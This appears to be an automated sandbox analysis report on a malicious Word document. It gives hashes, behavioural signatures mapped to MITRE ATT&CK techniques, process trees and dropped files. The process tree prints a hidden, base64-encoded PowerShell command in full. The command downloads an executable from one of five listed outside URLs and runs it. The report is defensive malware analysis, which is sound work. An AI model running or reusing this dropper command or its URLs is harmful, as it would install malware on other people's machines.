69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0

General

Target

69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0.doc
Size

181KB
MD5

e3cdf5c478d6cdbb159c1564526e61e4
SHA1

0bec432c775c47df20f9c525788a765d4fd4fb04
SHA256

69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0
SHA512

a38548f243c6a97c88e6b7d3aea1aaef9a524c93b098f4b3a5e083eb9036b31a5a4ba5107f6c6c9d7d609b110814513f55372c5c519997041cf44854276a2e90
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7X:9NO2k4PF7tGiL3HJk9rD7bdasiv86D

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	3964	Powershell.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	2988	Powershell.exe
54	2988	Powershell.exe
57	2988	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2988	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
8	WINWORD.EXE
8	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2988	Powershell.exe
2988	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
8	WINWORD.EXE
8	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE
8	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 60	8	WINWORD.EXE	83
PID 8 wrote to memory of 60	8	WINWORD.EXE	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:60

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\35D23318.wmf

Filesize
444B

MD5
472d31b0d121da0a3f242a12c84a6b64

SHA1
9bceb0d33ec25e52707b1e2c6a5230b288e98c21

SHA256
7c87ef055a73bd650ef6ebdb0d232438415562a8a83e771d0f12d156e1f87d3e

SHA512
dd306d84129a0a781b03dd9fba3bd8ce5b31415b20c3d1a2144050e02a0abaa01fb5994f5771c6966d923bfa4d6b97868868c7823fe613aede8db0562fa3e630

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDEEAD.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tl13dn15.0e1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
098ee8cf89accb9dccd7546d46c3cf95

SHA1
f0e4f788e81c6dfcf5db15dd169ab3b303a1af1f

SHA256
ad032a292b1e30a651f0c960d9bd18dc3981305009e365aa35bc79621f417afa

SHA512
09d1053fb51a54205725906e261eca6a0988b0589e103fae158fad853749f8f92fc27029018f4017a19bf917fbf65df61a2531ffbfb4776687cea616c8e32ea9

Download Submit
memory/8-8-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-16-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-9-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-1-0x00007FF834ACD000-0x00007FF834ACE000-memory.dmp

Filesize
4KB

Download
memory/8-7-0x00007FF7F49B0000-0x00007FF7F49C0000-memory.dmp

Filesize
64KB

Download
memory/8-5-0x00007FF7F49B0000-0x00007FF7F49C0000-memory.dmp

Filesize
64KB

Download
memory/8-10-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-11-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-13-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-15-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-17-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-4-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-14-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-12-0x00007FF7F22A0000-0x00007FF7F22B0000-memory.dmp

Filesize
64KB

Download
memory/8-18-0x00007FF7F22A0000-0x00007FF7F22B0000-memory.dmp

Filesize
64KB

Download
memory/8-6-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-0-0x00007FF7F49B0000-0x00007FF7F49C0000-memory.dmp

Filesize
64KB

Download
memory/8-2-0x00007FF7F49B0000-0x00007FF7F49C0000-memory.dmp

Filesize
64KB

Download
memory/8-70-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-72-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-71-0x00007FF834ACD000-0x00007FF834ACE000-memory.dmp

Filesize
4KB

Download
memory/8-73-0x00007FF834A30000-0x00007FF834C25000-memory.dmp

Filesize
2.0MB

Download
memory/8-3-0x00007FF7F49B0000-0x00007FF7F49C0000-memory.dmp

Filesize
64KB

Download
memory/2988-50-0x000001BB557A0000-0x000001BB557C2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads